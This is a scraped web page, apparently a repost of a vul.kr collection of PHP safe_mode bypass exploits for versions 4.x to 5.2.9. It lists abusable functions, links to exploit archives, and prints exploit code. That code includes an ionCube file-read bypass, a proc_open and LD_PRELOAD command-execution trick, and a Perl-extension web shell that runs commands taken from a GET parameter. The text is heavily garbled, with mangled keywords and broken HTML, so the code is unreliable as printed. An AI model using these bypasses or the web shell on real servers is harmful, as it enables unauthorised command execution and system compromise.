Php safe mode bypass all

Source: vul. kr

PHP safe mode bypass from 4.x to 5.x all.

Functions:

* Mb_send_mail
* Curl_init
* Imap_open
* Mail
* Ioncube_read_file
* Posix_getpwuid
* Error_log
* Extension_loaded
* Copy
* Procopen

A php code safe-mode-bypass.php for you:

Http://img.vul.kr/uploads/20090722/1248265458safe-mode-bypass.zip

Some New Exploit:

* PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass

 

<! -- P
If (! Extension_loaded ("ionCube Loader") die ("ionCube Loader extension required! ");
$ Path = str_repeat ("...", 20 );
$ MyBoot_readfile = readfile ($ path. "windowssystem. ini"); # just to be sure that I set correctely disable_function :)
$ MyBoot_ioncube = ioncube_read_file ($ path. "boot. ini ");
Echo $ MyBoot_readfile;
Echo"
 
IonCube output:
 
";
Echo $ MyBoot_ioncube;
-->
 

* PHP <5.2.5 Safe mode Bypass

Http://img.vul.kr/uploads/20090722/1248268771p-hp-5.2.5.rar

* PHP 5.2.6 error_log safe_mode bypass

Http://img.vul.kr/uploads/20090722/1248268875P-HP-5.2.6-error_log-safe_mode.txt

* PHP <= 5.2.9 Local Safemod Bypass Exploit (win32)

Windows.zip "target =_blank> http://img.vul.kr/uploads/20090722/12482693952009-safemod-windows.zip

* PHP python extension safe_mode Bypass Local Vulnerability

Http://img.vul.kr/uploads/20090722/1248270429python_bypass.txt

* PHP safe_mode bypass via proc_open () and custom environment

 

<! -- P $ path = "/var/www"; // change to your writable path $ a = fopen ($ path. "/. comm "," w "); fputs ($ a, $ _ GET [" c "]); fclose ($ ); $ descriptorspec = array (0 --> array ("pipe", "r "),
1 = & gt; array ("file", $ path. "/output.txt", "w "),
2 = & gt; array ("file", $ path. "/errors.txt", "")
);
$ Cwd = .;
$ Env = array (LD_PRELOAD = & gt; $ path. "/a. so ");
$ Process = proc_open (id & gt;/tmp/a, $ descriptorspec, $ pipes, $ cwd, $ env); // example command-shocould not succeed
Sleep (1 );
$ A = fopen ($ path. "/. comm1", "r ");
Echo "<strong> ";
While (! Feof ($ ))
{$ B = fgets ($ a); echo $ B ;}
Fclose ($ );
? & Gt ;;
</Strong>
 

PHP Perl Extension Safe_mode Bypass Exploit

 

<! -- If (! Extension_loaded (perl) die (perl extension is not loaded );
If (! Isset ($ _ GET) $ _ GET = & #038; $ HTTP_GET_VARS;
If (empty ($ _ GET [cmd]) $ _ GET [cmd] = (strtoupper (substr (PHP_ OS, 0, 3) = WIN )? Dir: ls;
$ Perl = new perl ();
Echo "<textarea rows = 25 cols = 75> ";
$ Per --> eval ("system (". $ _ GET [cmd]. ")");
Echo "";
$ _ GET [cmd] = htmlspecialchars ($ _ GET [cmd]);
Echo"
<Form enctype = "application/x-www-form-urlencoded" method = "get"> CMD:
<Input name = "cmd" size = "25" type = "text" value = "& quot;. $ _ GET ["/> </form>
 
"
? & Gt;